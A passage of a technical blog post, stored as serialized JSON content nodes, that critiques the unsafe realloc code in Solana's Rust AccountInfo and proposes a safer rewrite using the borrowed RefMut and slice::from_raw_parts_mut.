key.\n",{"type":23,"tag":230,"props":19697,"children":19698},{"class":232,"line":400},[19699,19703,19707,19711,19716,19720,19724,19728,19732,19736,19740],{"type":23,"tag":230,"props":19700,"children":19701},{"style":256},[19702],{"type":29,"value":16017},{"type":23,"tag":230,"props":19704,"children":19705},{"style":256},[19706],{"type":29,"value":16917},{"type":23,"tag":230,"props":19708,"children":19709},{"style":256},[19710],{"type":29,"value":16022},{"type":23,"tag":230,"props":19712,"children":19713},{"style":294},[19714],{"type":29,"value":19715}," original_data_len",{"type":23,"tag":230,"props":19717,"children":19718},{"style":274},[19719],{"type":29,"value":302},{"type":23,"tag":230,"props":19721,"children":19722},{"style":268},[19723],{"type":29,"value":5448},{"type":23,"tag":230,"props":19725,"children":19726},{"style":256},[19727],{"type":29,"value":16040},{"type":23,"tag":230,"props":19729,"children":19730},{"style":274},[19731],{"type":29,"value":703},{"type":23,"tag":230,"props":19733,"children":19734},{"style":268},[19735],{"type":29,"value":16084},{"type":23,"tag":230,"props":19737,"children":19738},{"style":676},[19739],{"type":29,"value":16058},{"type":23,"tag":230,"props":19741,"children":19742},{"style":274},[19743],{"type":29,"value":277},{"type":23,"tag":230,"props":19745,"children":19746},{"class":232,"line":444},[19747,19751,19756,19760,19764,19768,19773,19777,19781,19785,19789,19793,19797,19801,19805],{"type":23,"tag":230,"props":19748,"children":19749},{"style":256},[19750],{"type":29,"value":5340},{"type":23,"tag":230,"props":19752,"children":19753},{"style":262},[19754],{"type":29,"value":19755}," key_ptr",{"type":23,"tag":230,"props":19757,"children":19758},{"style":268},[19759],{"type":29,"value":271},{"type":23,"tag":230,"props":19761,"children":19762},{"style":256},[19763],{"type":29,"value":16124},{"type":23,"tag":230,"props":19765,"children":19766},{"style":268},[19767],{"type":29,"value":312},{"type":23,"tag":230,"props":19769,"children":19770},{"style":274},[19771],{"type":29,"value":19772},"key ",{"type":23,"tag":230,"props":19774,"children":19775},{"style":256},[19776],{"type":29,"value":4343},{"type":23,"tag":230,"props":19778,"children":19779},{"style":268},[19780],{"type":29,"value":12147},{"type":23,"tag":230,"props":19782,"children":19783},{"style":256},[19784],{"type":29,"value":259},{"type":23,"tag":230,"props":19786,"children":19787},{"style":262},[19788],{"type":29,"value":5376},{"type":23,"tag":230,"props":19790,"children":19791},{"style":256},[19792],{"type":29,"value":3589},{"type":23,"tag":230,"props":19794,"children":19795},{"style":268},[19796],{"type":29,"value":12147},{"type":23,"tag":230,"props":19798,"children":19799},{"style":256},[19800],{"type":29,"value":259},{"type":23,"tag":230,"props":19802,"children":19803},{"style":676},[19804],{"type":29,"value":16961},{"type":23,"tag":230,"props":19806,"children":19807},{"style":274},[19808],{"type":29,"value":511},{"type":23,"tag":230,"props":19810,"children":19811},{"class":232,"line":453},[19812,19816,19821,19825,19829,19833,19837,19841,19845,19850,19854,19858,19862,19866,19871],{"type":23,"tag":230,"props":19813,"children":19814},{"style":256},[19815],{"type":29,"value":5340},{"type":23,"tag":230,"props":19817,"children":19818},{"style":262},[19819],{"type":29,"value":19820}," original_data_len_ptr",{"type":23,"tag":230,"props":19822,"children":19823},{"style":268},[19824],{"type":29,"value":271},{"type":23,"tag":230,"props":19826,"children":19827},{"style":262},[19828],{"type":29,"value":19755},{"type":23,"tag":230,"props":19830,"children":19831},{"style":268},[19832],{"type":29,"value":312},{"type":23,"tag":230,"props":19834,"children":19835},{"style":294},[19836],{"type":29,"value":16228},{"type":23,"tag":230,"props":19838,"children":19839},{"style":274},[19840],{"type":29,"value":302},{"type":23,"tag":230,"props":19842,"children":19843},{"style":268},[19844],{"type":29,"value":6665},{"type":23,"tag":230,"props":19846,"children":19847},{"style":5149},[19848],{"type":29,"value":19849},"4",{"type":23,"tag":230,"props":19851,"children":19852},{"style":274},[19853],{"type":29,"value":703},{"type":23,"tag":230,"props":19855,"children":19856},{"style":256},[19857],{"type":29,"value":4343},{"type":23,"tag":230,"props":19859,"children":19860},{"style":268},[19861],{"type":29,"value":12147},{"type":23,"tag":230,"props":19863,"children":19864},{"style":256},[19865],{"type":29,"value":259},{"type":23,"tag":230,"props":19867,"children":19868},{"style":676},[19869],{"type":29,"value":19870}," u32",{"type":23,"tag":230,"props":19872,"children":19873},{"style":274},[19874],{"type":29,"value":511},{"type":23,"tag":230,"props":19876,"children":19877},{"class":232,"line":462},[19878,19883,19888,19892],{"type":23,"tag":230,"props":19879,"children":19880},{"style":268},[19881],{"type":29,"value":19882},"    *",{"type":23,"tag":230,"props":19884,"children":19885},{"style":262},[19886],{"type":29,"value":19887},"original_data_len_ptr",{"type":23,"tag":230,"props":19889,"children":19890},{"style":256},[19891],{"type":29,"value":3589},{"type":23,"tag":230,"props":19893,"children":19894},{"style":676},[19895],{"type":29,"value":19296},{"type":23,"tag":230,"props":19897,"children":19898},{"class":232,"line":471},[19899],{"type":23,"tag":230,"props":19900,"children":19901},{"style":274},[19902],{"type":29,"value":975},{"type":23,"tag":32,"props":19904,"children":19905},{},[19906,19908,19913,19915,19920,19922,19927,19929,19934,19936,19943,19945,19952,19953,19960,19961,19968,19969,19976],{"type":29,"value":19907},"It's marked ",{"type":23,"tag":71,"props":19909,"children":19911},{"className":19910},[],[19912],{"type":29,"value":16683},{"type":29,"value":19914},", properly documented, but there's just one problem: we need this for ",{"type":23,"tag":71,"props":19916,"children":19918},{"className":19917},[],[19919],{"type":29,"value":15965},{"type":29,"value":19921},", which originally was not ",{"type":23,"tag":71,"props":19923,"children":19925},{"className":19924},[],[19926],{"type":29,"value":16683},{"type":29,"value":19928},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":23,"tag":71,"props":19930,"children":19932},{"className":19931},[],[19933],{"type":29,"value":16683},{"type":29,"value":19935}," block and added ",{"type":23,"tag":181,"props":19937,"children":19940},{"href":19938,"rel":19939},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[185],[19941],{"type":29,"value":19942},"a doc comment",{"type":29,"value":19944}," - adding to the ",{"type":23,"tag":181,"props":19946,"children":19949},{"href":19947,"rel":19948},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[185],[19950],{"type":29,"value":19951},"small",{"type":29,"value":3374},{"type":23,"tag":181,"props":19954,"children":19957},{"href":19955,"rel":19956},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[185],[19958],{"type":29,"value":19959},"pile",{"type":29,"value":3374},{"type":23,"tag":181,"props":19962,"children":19965},{"href":19963,"rel":19964},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[185],[19966],{"type":29,"value":19967},"of",{"type":29,"value":3374},{"type":23,"tag":181,"props":19970,"children":19973},{"href":19971,"rel":19972},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[185],[19974],{"type":29,"value":19975},"functions",{"type":29,"value":19977}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":23,"tag":24,"props":19979,"children":19981},{"id":19980},"towards-safer-unsafe",[19982,19984],{"type":29,"value":19983},"Towards safer ",{"type":23,"tag":71,"props":19985,"children":19987},{"className":19986},[],[19988],{"type":29,"value":16683},{"type":23,"tag":32,"props":19990,"children":19991},{},[19992,19994,19999,20001,20006,20008,20014],{"type":29,"value":19993},"Let's circle back to that main ",{"type":23,"tag":71,"props":19995,"children":19997},{"className":19996},[],[19998],{"type":29,"value":16683},{"type":29,"value":20000}," block inside ",{"type":23,"tag":71,"props":20002,"children":20004},{"className":20003},[],[20005],{"type":29,"value":15965},{"type":29,"value":20007}," for a bit, shall we? As a reminder, it looks like ",{"type":23,"tag":181,"props":20009,"children":20012},{"href":20010,"rel":20011},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[185],[20013],{"type":29,"value":437},{"type":29,"value":218},{"type":23,"tag":220,"props":20016,"children":20018},{"className":5320,"code":20017,"language":5319,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[20019],{"type":23,"tag":71,"props":20020,"children":20021},{"__ignoreMap":7},[20022,20030,20041,20049,20136,20167,20174,20182,20309,20340],{"type":23,"tag":230,"props":20023,"children":20024},{"class":232,"line":233},[20025],{"type":23,"tag":230,"props":20026,"children":20027},{"style":237},[20028],{"type":29,"value":20029},"// realloc\n",{"type":23,"tag":230,"props":20031,"children":20032},{"class":232,"line":243},[20033,20037],{"type":23,"tag":230,"props":20034,"children":20035},{"style":256},[20036],{"type":29,"value":16683},{"type":23,"tag":230,"props":20038,"children":20039},{"style":274},[20040],{"type":29,"value":277},{"type":23,"tag":230,"props":20042,"children":20043},{"class":232,"line":252},[20044],{"type":23,"tag":230,"props":20045,"children":20046},{"style":237},[20047],{"type":29,"value":20048},"    // First set new length in the serialized data\n",{"type":23,"tag":230,"props":20050,"children":20051},{"class":232,"line":280},[20052,20056,20060,20064,20068,20072,20076,20080,20084,20088,20092,20096,20100,20104,20108,20112,20116,20120,20124,20128,20132],{"type":23,"tag":230,"props":20053,"children":20054},{"style":256},[20055],{"type":29,"value":5340},{"type":23,"tag":230,"props":20057,"children":20058},{"style":262},[20059],{"type":29,"value":16184},{"type":23,"tag":230,"props":20061,"children":20062},{"style":268},[20063],{"type":29,"value":271},{"type":23,"tag":230,"props":20065,"children":20066},{"style":256},[20067],{"type":29,"value":16124},{"type":23,"tag":230,"props":20069,"children":20070},{"style":268},[20071],{"type":29,"value":312},{"type":23,"tag":230,"props":20073,"children":20074},{"style":294},[20075],{"type":29,"value":16201},{"type":23,"tag":230,"props":20077,"children":20078},{"style":274},[20079],{"type":29,"value":16206},{"type":23,"tag":230,"props":20081,"children":20082},{"style":268},[20083],{"type":29,"value":5472},{"type":23,"tag":230,"props":20085,"children":20086},{"style":294},[20087],{"type":29,"value":16215},{"type":23,"tag":230,"props":20089,"children":20090},{"style":274},[20091],{"type":29,"value":16206},{"type":23,"tag":230,"props":20093,"children":20094},{"style":268},[20095],{"type":29,"value":312},{"type":23,"tag":230,"props":20097,"children":20098},{"style":294},[20099],{"type":29,"value":16228},{"type":23,"tag":230,"props":20101,"children":20102},{"style":274},[20103],{"type":29,"value":302},{"type":23,"tag":230,"props":20105,"children":20106},{"style":268},[20107],{"type":29,"value":6665},{"type":23,"tag":230,"props":20109,"children":20110},{"style":5149},[20111],{"type":29,"value":6412},{"type":23,"tag":230,"props":20113,"children":20114},{"style":274},[20115],{"type":29,"value":703},{"type":23,"tag":230,"props":20117,"children":20118},{"style":256},[20119],{"type":29,"value":4343},{"type":23,"tag":230,"props":20121,"children":20122},{"style":268},[20123],{"type":29,"value":12147},{"type":23,"tag":230,"props":20125,"children":20126},{"style":256},[20127],{"type":29,"value":6059},{"type":23,"tag":230,"props":20129,"children":20130},{"style":676},[20131],{"type":29,"value":8197},{"type":23,"tag":230,"props":20133,"children":20134},{"style":274},[20135],{"type":29,"value":511},{"type":23,"tag":230,"props":20137,"children":20138},{"class":232,"line":334},[20139,20143,20147,20151,20155,20159,20163],{"type":23,"tag":230,"props":20140,"children":20141},{"style":268},[20142],{"type":29,"value":19882},{"type":23,"tag":230,"props":20144,"children":20145},{"style":262},[20146],{"type":29,"value":16276},{"type":23,"tag":230,"props":20148,"children":20149},{"style":268},[20150],{"type":29,"value":271},{"type":23,"tag":230,"props":20152,"children":20153},{"style":262},[20154],{"type":29,"value":16285},{"type":23,"tag":230,"props":20156,"children":20157},{"style":256},[20158],{"type":29,"value":3589},{"type":23,"tag":230,"props":20160,"children":20161},{"style":676},[20162],{"type":29,"value":8197},{"type":23,"tag":230,"props":20164,"children":20165},{"style":274},[20166],{"type":29,"value":511},{"type":23,"tag":230,"props":20168,"children":20169},{"class":232,"line":371},[20170],{"type":23,"tag":230,"props":20171,"children":20172},{"emptyLinePlaceholder":18},[20173],{"type":29,"value":459},{"type":23,"tag":230,"props":20175,"children":20176},{"class":232,"line":391},[20177],{"type":23,"tag":230,"props":20178,"children":20179},{"style":237},[20180],{"type":29,"value":20181},"    // Then set the new length in the local slice\n",{"type":23,"tag":230,"props":20183,"children":20184},{"class":232,"line":400},[20185,20189,20193,20197,20201,20205,20209,20213,20217,20221,20225,20229,20233,20237,20241,20245,20249,20253,20257,20261,20265,20269,20273,20277,20281,20285,20289,20293,20297,20301,20305],{"type":23,"tag":230,"props":20186,"children":20187},{"style":256},[20188],{"type":29,"value":5340},{"type":23,"tag":230,"props":20190,"children":20191},{"style":262},[20192],{"type":29,"value":16184},{"type":23,"tag":230,"props":20194,"children":20195},{"style":268},[20196],{"type":29,"value":271},{"type":23,"tag":230,"props":20198,"children":20199},{"style":268},[20200],{"type":29,"value":9477},{"type":23,"tag":230,"props":20202,"children":20203},{"style":256},[20204],{"type":29,"value":6059},{"type":23,"tag":230,"props":20206,"children":20207},{"style":268},[20208],{"type":29,"value":12147},{"type":23,"tag":230,"props":20210,"children":20211},{"style":274},[20212],{"type":29,"value":16344},{"type":23,"tag":230,"props":20214,"children":20215},{"style":256},[20216],{"type":29,"value":16040},{"type":23,"tag":230,"props":20218,"children":20219},{"style":268},[20220],{"type":29,"value":312},{"type":23,"tag":230,"props":20222,"children":20223},{"style":274},[20224],{"type":29,"value":6037},{"type":23,"tag":230,"props":20226,"children":20227},{"style":268},[20228],{"type":29,"value":312},{"type":23,"tag":230,"props":20230,"children":20231},{"style":294},[20232],{"type":29,"value":16365},{"type":23,"tag":230,"props":20234,"children":20235},{"style":274},[20236],{"type":29,"value":16370},{"type":23,"tag":230,"props":20238,"children":20239},{"style":256},[20240],{"type":29,"value":4343},{"type":23,"tag":230,"props":20242,"children":20243},{"style":268},[20244],{"type":29,"value":12147},{"type":23,"tag":230,"props":20246,"children":20247},{"style":256},[20248],{"type":29,"value":259},{"type":23,"tag":230,"props":20250,"children":20251},{"style":676},[20252],{"type":29,"value":8197},{"type":23,"tag":230,"props":20254,"children":20255},{"style":274},[20256],{"type":29,"value":5467},{"type":23,"tag":230,"props":20258,"children":20259},{"style":268},[20260],{"type":29,"value":312},{"type":23,"tag":230,"props":20262,"children":20263},{"style":294},[20264],{"type":29,"value":16228},{"type":23,"tag":230,"props":20266,"children":20267},{"style":274},[20268],{"type":29,"value":302},{"type":23,"tag":230,"props":20270,"children":20271},{"style":5149},[20272],{"type":29,"value":6348},{"type":23,"tag":230,"props":20274,"children":20275},{"style":274},[20276],{"type":29,"value":703},{"type":23,"tag":230,"props":20278,"children":20279},{"style":256},[20280],{"type":29,"value":4343},{"type":23,"tag":230,"props":20282,"children":20283},{"style":676},[20284],{"type":29,"value":8197},{"type":23,"tag":230,"props":20286,"children":20287},{"style":274},[20288],{"type":29,"value":703},{"type":23,"tag":230,"props":20290,"children":20291},{"style":256},[20292],{"type":29,"value":4343},{"type":23,"tag":230,"props":20294,"children":20295},{"style":268},[20296],{"type":29,"value":12147},{"type":23,"tag":230,"props":20298,"children":20299},{"style":256},[20300],{"type":29,"value":6059},{"type":23,"tag":230,"props":20302,"children":20303},{"style":676},[20304],{"type":29,"value":8197},{"type":23,"tag":230,"props":20306,"children":20307},{"style":274},[20308],{"type":29,"value":753},{"type":23,"tag":230,"props":20310,"children":20311},{"class":232,"line":444},[20312,20316,20320,20324,20328,20332,20336],{"type":23,"tag":230,"props":20313,"children":20314},{"style":268},[20315],{"type":29,"value":19882},{"type":23,"tag":230,"props":20317,"children":20318},{"style":262},[20319],{"type":29,"value":16276},{"type":23,"tag":230,"props":20321,"children":20322},{"style":268},[20323],{"type":29,"value":271},{"type":23,"tag":230,"props":20325,"children":20326},{"style":262},[20327],{"type":29,"value":16285},{"type":23,"tag":230,"props":20329,"children":20330},{"style":256},[20331],{"type":29,"value":3589},{"type":23,"tag":230,"props":20333,"children":20334},{"style":676},[20335],{"type":29,"value":8197},{"type":23,"tag":230,"props":20337,"children":20338},{"style":274},[20339],{"type":29,"value":511},{"type":23,"tag":230,"props":20341,"children":20342},{"class":232,"line":453},[20343],{"type":23,"tag":230,"props":20344,"children":20345},{"style":274},[20346],{"type":29,"value":975},{"type":23,"tag":32,"props":20348,"children":20349},{},[20350,20352,20357],{"type":29,"value":20351},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":23,"tag":71,"props":20353,"children":20355},{"className":20354},[],[20356],{"type":29,"value":17828},{"type":29,"value":20358}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":23,"tag":32,"props":20360,"children":20361},{},[20362,20364,20369,20371,20376,20378,20383,20385,20390,20392,20397,20399,20405,20407,20417,20419,20430],{"type":29,"value":20363},"First, let's deal with the ",{"type":23,"tag":71,"props":20365,"children":20367},{"className":20366},[],[20368],{"type":29,"value":17828},{"type":29,"value":20370}," borrowing issue. When we ",{"type":23,"tag":71,"props":20372,"children":20374},{"className":20373},[],[20375],{"type":29,"value":16201},{"type":29,"value":20377},", we get a ",{"type":23,"tag":71,"props":20379,"children":20381},{"className":20380},[],[20382],{"type":29,"value":19063},{"type":29,"value":20384}," back, which represents our borrow of the ",{"type":23,"tag":71,"props":20386,"children":20388},{"className":20387},[],[20389],{"type":29,"value":17828},{"type":29,"value":20391},"'s data. The fix here is simple: keep that ",{"type":23,"tag":71,"props":20393,"children":20395},{"className":20394},[],[20396],{"type":29,"value":19063},{"type":29,"value":20398}," around and use it to access the data, instead of using ",{"type":23,"tag":71,"props":20400,"children":20402},{"className":20401},[],[20403],{"type":29,"value":20404},"RefCell::as_ptr",{"type":29,"value":20406},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":23,"tag":17798,"props":20408,"children":20409},{},[20410],{"type":23,"tag":181,"props":20411,"children":20415},{"href":20412,"ariaDescribedBy":20413,"dataFootnoteRef":7,"id":20414},"#user-content-fn-rustc-llvm",[17805],"user-content-fnref-rustc-llvm",[20416],{"type":29,"value":19849},{"type":29,"value":20418}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":23,"tag":17798,"props":20420,"children":20421},{},[20422],{"type":23,"tag":181,"props":20423,"children":20427},{"href":20424,"ariaDescribedBy":20425,"dataFootnoteRef":7,"id":20426},"#user-content-fn-godbolt",[17805],"user-content-fnref-godbolt",[20428],{"type":29,"value":20429},"5",{"type":29,"value":20431},". So then we get:",{"type":23,"tag":220,"props":20433,"children":20435},{"className":5320,"code":20434,"language":5319,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[20436],{"type":23,"tag":71,"props":20437,"children":20438},{"__ignoreMap":7},[20439,20483,20490,20497,20581,20620,20627,20634],{"type":23,"tag":230,"props":20440,"children":20441},{"class":232,"line":233},[20442,20446,20450,20455,20459,20463,20467,20471,20475,20479],{"type":23,"tag":230,"props":20443,"children":20444},{"style":256},[20445],{"type":29,"value":14118},{"type":23,"tag":230,"props":20447,"children":20448},{"style":256},[20449],{"type":29,"value":5345},{"type":23,"tag":230,"props":20451,"children":20452},{"style":262},[20453],{"type":29,"value":20454}," slice",{"type":23,"tag":230,"props":20456,"children":20457},{"style":268},[20458],{"type":29,"value":271},{"type":23,"tag":230,"props":20460,"children":20461},{"style":256},[20462],{"type":29,"value":16124},{"type":23,"tag":230,"props":20464,"children":20465},{"style":268},[20466],{"type":29,"value":312},{"type":23,"tag":230,"props":20468,"children":20469},{"style":294},[20470],{"type":29,"value":16201},{"type":23,"tag":230,"props":20472,"children":20473},{"style":274},[20474],{"type":29,"value":16206},{"type":23,"tag":230,"props":20476,"children":20477},{"style":268},[20478],{"type":29,"value":5494},{"type":23,"tag":230,"props":20480,"children":20481},{"style":274},[20482],{"type":29,"value":511},{"type":23,"tag":230,"props":20484,"children":20485},{"class":232,"line":243},[20486],{"type":23,"tag":230,"props":20487,"children":20488},{"emptyLinePlaceholder":18},[20489],{"type":29,"value":459},{"type":23,"tag":230,"props":20491,"children":20492},{"class":232,"line":252},[20493],{"type":23,"tag":230,"props":20494,"children":20495},{"style":237},[20496],{"type":29,"value":16730},{"type":23,"tag":230,"props":20498,"children":20499},{"class":232,"line":280},[20500,20504,20508,20512,20516,20520,20524,20528,20532,20536,20540,20544,20548,20552,20556,20561,20565,20569,20573,20577],{"type":23,"tag":230,"props":20501,"children":20502},{"style":256},[20503],{"type":29,"value":14118},{"type":23,"tag":230,"props":20505,"children":20506},{"style":262},[20507],{"type":29,"value":16184},{"type":23,"tag":230,"props":20509,"children":20510},{"style":268},[20511],{"type":29,"value":271},{"type":23,"tag":230,"props":20513,"children":20514},{"style":256},[20515],{"type":29,"value":16917},{"type":23,"tag":230,"props":20517,"children":20518},{"style":274},[20519],{"type":29,"value":848},{"type":23,"tag":230,"props":20521,"children":20522},{"style":262},[20523],{"type":29,"value":17638},{"type":23,"tag":230,"props":20525,"children":20526},{"style":268},[20527],{"type":29,"value":312},{"type":23,"tag":230,"props":20529,"children":20530},{"style":294},[20531],{"type":29,"value":16215},{"type":23,"tag":230,"props":20533,"children":20534},{"style":274},[20535],{"type":29,"value":16206},{"type":23,"tag":230,"props":20537,"children":20538},{"style":268},[20539],{"type":29,"value":312},{"type":23,"tag":230,"props":20541,"children":20542},{"style":294},[20543],{"type":29,"value":16228},{"type":23,"tag":230,"props":20545,"children":20546},{"style":274},[20547],{"type":29,"value":302},{"type":23,"tag":230,"props":20549,"children":20550},{"style":268},[20551],{"type":29,"value":6665},{"type":23,"tag":230,"props":20553,"children":20554},{"style":5149},[20555],{"type":29,"value":6412},{"type":23,"tag":230,"props":20557,"children":20558},{"style":274},[20559],{"type":29,"value":20560},") } ",{"type":23,"tag":230,"props":20562,"children":20563},{"style":256},[20564],{"type":29,"value":4343},{"type":23,"tag":230,"props":20566,"children":20567},{"style":268},[20568],{"type":29,"value":12147},{"type":23,"tag":230,"props":20570,"children":20571},{"style":256},[20572],{"type":29,"value":6059},{"type":23,"tag":230,"props":20574,"children":20575},{"style":676},[20576],{"type":29,"value":8197},{"type":23,"tag":230,"props":20578,"children":20579},{"style":274},[20580],{"type":29,"value":511},{"type":23,"tag":230,"props":20582,"children":20583},{"class":232,"line":334},[20584,20588,20592,20596,20600,20604,20608,20612,20616],{"type":23,"tag":230,"props":20585,"children":20586},{"style":256},[20587],{"type":29,"value":16683},{"type":23,"tag":230,"props":20589,"children":20590},{"style":274},[20591],{"type":29,"value":848},{"type":23,"tag":230,"props":20593,"children":20594},{"style":268},[20595],{"type":29,"value":6909},{"type":23,"tag":230,"props":20597,"children":20598},{"style":262},[20599],{"type":29,"value":16276},{"type":23,"tag":230,"props":20601,"children":20602},{"style":268},[20603],{"type":29,"value":271},{"type":23,"tag":230,"props":20605,"children":20606},{"style":262},[20607],{"type":29,"value":16285},{"type":23,"tag":230,"props":20609,"children":20610},{"style":256},[20611],{"type":29,"value":3589},{"type":23,"tag":230,"props":20613,"children":20614},{"style":676},[20615],{"type":29,"value":8197},{"type":23,"tag":230,"props":20617,"children":20618},{"style":274},[20619],{"type":29,"value":1323},{"type":23,"tag":230,"props":20621,"children":20622},{"class":232,"line":371},[20623],{"type":23,"tag":230,"props":20624,"children":20625},{"emptyLinePlaceholder":18},[20626],{"type":29,"value":459},{"type":23,"tag":230,"props":20628,"children":20629},{"class":232,"line":391},[20630],{"type":23,"tag":230,"props":20631,"children":20632},{"style":237},[20633],{"type":29,"value":18464},{"type":23,"tag":230,"props":20635,"children":20636},{"class":232,"line":400},[20637,20641,20645,20649,20653,20658,20662,20666,20670,20675,20679,20683,20687,20691,20695,20699],{"type":23,"tag":230,"props":20638,"children":20639},{"style":268},[20640],{"type":29,"value":6909},{"type":23,"tag":230,"props":20642,"children":20643},{"style":262},[20644],{"type":29,"value":17638},{"type":23,"tag":230,"props":20646,"children":20647},{"style":268},[20648],{"type":29,"value":271},{"type":23,"tag":230,"props":20650,"children":20651},{"style":256},[20652],{"type":29,"value":16917},{"type":23,"tag":230,"props":20654,"children":20655},{"style":274},[20656],{"type":29,"value":20657}," { std",{"type":23,"tag":230,"props":20659,"children":20660},{"style":268},[20661],{"type":29,"value":5818},{"type":23,"tag":230,"props":20663,"children":20664},{"style":274},[20665],{"type":29,"value":17638},{"type":23,"tag":230,"props":20667,"children":20668},{"style":268},[20669],{"type":29,"value":5818},{"type":23,"tag":230,"props":20671,"children":20672},{"style":294},[20673],{"type":29,"value":20674},"from_raw_parts_mut",{"type":23,"tag":230,"props":20676,"children":20677},{"style":274},[20678],{"type":29,"value":302},{"type":23,"tag":230,"props":20680,"children":20681},{"style":262},[20682],{"type":29,"value":17638},{"type":23,"tag":230,"props":20684,"children":20685},{"style":268},[20686],{"type":29,"value":312},{"type":23,"tag":230,"props":20688,"children":20689},{"style":294},[20690],{"type":29,"value":16215},{"type":23,"tag":230,"props":20692,"children":20693},{"style":274},[20694],{"type":29,"value":1172},{"type":23,"tag":230,"props":20696,"children":20697},{"style":262},[20698],{"type":29,"value":16049},{"type":23,"tag":230,"props":20700,"children":20701},{"style":274},[20702],{"type":29,"value":17072},{"type":23,"tag":32,"props":20704,"children":20705},{},[20706,20708,20713,20715,20720,20722,20727,20729],{"type":29,"value":20707},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":23,"tag":71,"props":20709,"children":20711},{"className":20710},[],[20712],{"type":29,"value":10377},{"type":29,"value":20714}," and not a ",{"type":23,"tag":71,"props":20716,"children":20718},{"className":20717},[],[20719],{"type":29,"value":18925},{"type":29,"value":20721}," for the size field, given that ",{"type":23,"tag":71,"props":20723,"children":20725},{"className":20724},[],[20726],{"type":29,"value":18925},{"type":29,"value":20728}," is architecture-dependent), and no dependency on slice reference internals!",{"type":23,"tag":17798,"props":20730,"children":20731},{},[20732],{"type":23,"tag":181,"props":20733,"children":20737},{"href":20734,"ariaDescribedBy":20735,"dataFootnoteRef":7,"id":20736},"#user-content-fn-slice-unbound-lifetime",[17805],"user-content-fnref-slice-unbound-lifetime",[20738],{"type":29,"value":20739},"6",{"type":23,"tag":20741,"props":20742,"children":20745},"section",{"className":20743,"dataFootnotes":7},[20744],"footnotes",[20746,20753],{"type":23,"tag":24,"props":20747,"children":20750},{"className":20748,"id":17805},[20749],"sr-only",[20751],{"type":29,"value":20752},"Footnotes",{"type":23,"tag":144,"props":20754,"children":20755},{},[20756,20861,20879,20934,20947,20975],{"type":23,"tag":102,"props":20757,"children":20759},{"id":20758},"user-content-fn-rc-refs",[20760,20762,20768,20770,20775,20777,20781,20783,20787,20789,20794,20796,20802,20804,20809,20811,20821,20823,20828,20830,20835,20837,20842,20844,20850,20852],{"type":29,"value":20761},"I find it helpful to view owning an ",{"type":23,"tag":71,"props":20763,"children":20765},{"className":20764},[],[20766],{"type":29,"value":20767},"Rc\u003CT>",{"type":29,"value":20769}," as holding a shared reference to the underlying ",{"type":23,"tag":71,"props":20771,"children":20773},{"className":20772},[],[20774],{"type":29,"value":8324},{"type":29,"value":20776}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":23,"tag":2258,"props":20778,"children":20779},{},[20780],{"type":29,"value":18782},{"type":29,"value":20782}," ensures that the actual ",{"type":23,"tag":2258,"props":20784,"children":20785},{},[20786],{"type":29,"value":6037},{"type":29,"value":20788}," stays alive, however all you have is a reference to the ",{"type":23,"tag":71,"props":20790,"children":20792},{"className":20791},[],[20793],{"type":29,"value":8324},{"type":29,"value":20795}," (through the ",{"type":23,"tag":71,"props":20797,"children":20799},{"className":20798},[],[20800],{"type":29,"value":20801},"Deref\u003CTarget = T>",{"type":29,"value":20803}," impl) - ",{"type":23,"tag":2258,"props":20805,"children":20806},{},[20807],{"type":29,"value":20808},"not",{"type":29,"value":20810}," ownership ",{"type":23,"tag":2258,"props":20812,"children":20813},{},[20814,20816],{"type":29,"value":20815},"of the ",{"type":23,"tag":71,"props":20817,"children":20819},{"className":20818},[],[20820],{"type":29,"value":8324},{"type":29,"value":20822},". In short, owning an ",{"type":23,"tag":71,"props":20824,"children":20826},{"className":20825},[],[20827],{"type":29,"value":20767},{"type":29,"value":20829}," is owning a (shared, read-only) reference to ",{"type":23,"tag":71,"props":20831,"children":20833},{"className":20832},[],[20834],{"type":29,"value":8324},{"type":29,"value":20836},", not owning ",{"type":23,"tag":71,"props":20838,"children":20840},{"className":20839},[],[20841],{"type":29,"value":8324},{"type":29,"value":20843}," directly like with ",{"type":23,"tag":71,"props":20845,"children":20847},{"className":20846},[],[20848],{"type":29,"value":20849},"Box\u003CT>",{"type":29,"value":20851},". ",{"type":23,"tag":181,"props":20853,"children":20858},{"href":20854,"ariaLabel":20855,"className":20856,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[20857],"data-footnote-backref",[20859],{"type":29,"value":20860},"↩",{"type":23,"tag":102,"props":20862,"children":20864},{"id":20863},"user-content-fn-sendsync",[20865,20871,20872],{"type":23,"tag":71,"props":20866,"children":20868},{"className":20867},[],[20869],{"type":29,"value":20870},"!Send + 